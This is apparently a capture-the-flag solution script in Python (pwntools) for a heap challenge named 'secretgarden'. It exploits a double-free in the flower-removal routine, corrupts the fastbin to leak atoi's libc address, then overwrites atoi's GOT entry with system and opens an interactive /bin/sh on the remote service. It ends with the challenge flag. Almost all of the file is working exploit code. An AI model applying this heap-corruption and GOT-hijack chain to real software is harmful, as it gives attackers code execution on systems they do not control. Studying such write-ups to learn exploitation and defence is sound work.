from pwn import *


garden = ELF('./secretgarden')

r = remote('172.16.101.57',11019)
#r = process('./secretgarden')

## double free
# base knowledge
# 1. free(p) in fastbin will check if p is the first chunk of that size
# 2. malloc(p) in size of fastbin will check if the memory going to be malloc is correct or not 

 
# raise a flower will maclloc a heap of size 0x30 to save following things
#  1. is this index is in used or not
#  2. the buffer where name is
#  3. clour string
# than ask for the size of name, and ask for name
#
# remove flower will choose a index and than free the buffer of name without checking whether the buffer is really in used 
# so we can remove twice to make double free happened
#
# Solve : 
#   1. Use double free change the pointer of name in the color chunk 
#   2. Use view option to leak a address of function
#   3. Use double free make fastbin corruption and get the chunk we need
#   4. GOT hiject
#
#
# ptr 		0x6020c0
# atoi.plt	0x602078
# sum_flower    0x6020b0
# add_under_mu  0x400e3d 

def raise_f(size, name, color):
	r.sendlineafter(': ','1')
	r.sendlineafter(':', str(size))
	r.sendafter(':', name)
	r.sendlineafter(':', color)

def remove_f(index):
	r.sendlineafter(': ', '3')
	r.sendlineafter(':' , str(index))



raise_f(0x20, '1', '0')
raise_f(0x20, '1', '1')
raise_f(0x20, '3', '2') 
raise_f(0x20, '5', '3')
raise_f(0x20, '7', '4')
raise_f(0x20, '9', '5')
raise_f(0x20, '1', '6')
raise_f(0x20, '1', '7')
raise_f(0x20, '1', '8')
raise_f(0x20, '1', '9')
raise_f(0x20, '1', '10')
raise_f(0x20, '1', '11')
raise_f(0x20, '1', '12')
raise_f(0x20, '1', '13')
raise_f(0x20, '1', '14')
raise_f(0x20, '1', '15')

# use pointer of name to leak address of one function
remove_f(1)
remove_f(2)
remove_f(3)
remove_f(1) # 1 - 3 - 2 - 1
raise_f(0x20, '1', '16') # 2 - 1
raise_f(0x20, p64(1)+p64(garden.got['atoi']), '17')

r.sendline('2')
res = r.recvuntil('Color of the flower[16] :')
res = res.split('Name of the flower[16] :')[1].split('\n')[0]

atoii = u64(res.ljust(8, '\x00'))
system = atoii + 0xc6f0             # i use the offset in the libc from other questions or you can use DlyELF to dump whole libc

print 'atoi_add =',hex(u64(res.ljust(8,'\x00')))
print 'sys',hex(system)

'''
#a = raw_input()

#remove_f(4)
#remove_f(5)
#remove_f(6)
#remove_f(4)
#raise_f(0x20, '1', '18') # 2 - 1
#raise_f(0x20, p64(1)+p64(garden.got['setvbuf']), '19')
#raise_f(0x20, p64(0), '19')

#a = raw_input()

#r.sendline('4')
#res = r.recvuntil('Color of the flower[18] :')
#res = res.split('Name of the flower[18] :')[1].split('\n')[0]

#print 'setvbuf_add =',hex(u64(res.ljust(8,'\x00')))
'''

# every raise below need a size of 0x30 chunk(color)
# but we have already broke it when leak a address
# so free some chunk to make raise work without any error
remove_f(4)
remove_f(5)
remove_f(6)
remove_f(7)
remove_f(8)
remove_f(9)
remove_f(10)
remove_f(11)
remove_f(12)

# use double free to get chunk in GOT 
raise_f(0x30, '1', '18')
raise_f(0x30, '1', '19')
raise_f(0x30, '1', '20')
raise_f(0x30, '1', '21')

remove_f(19)
remove_f(20)
remove_f(19)

raise_f(0x30, p64(  garden.got['atoi']  - 0x20 + 2 ), '22') # choose a proper location to make malloc work fine, here has a size check 
raise_f(0x30, '1', '23')
raise_f(0x30, '1', '24')

# GOT hijack atoi.got.plt -> system.got.plt
raise_f(0x30, 'AAAAAAAAAAAAAA'+p64(system) , '2')

# execute system('/bin/sh')
r.sendlineafter(': ','/bin/sh')
r.interactive()


# AD{f3stb1n_c0rrupt_th3_w0rld}

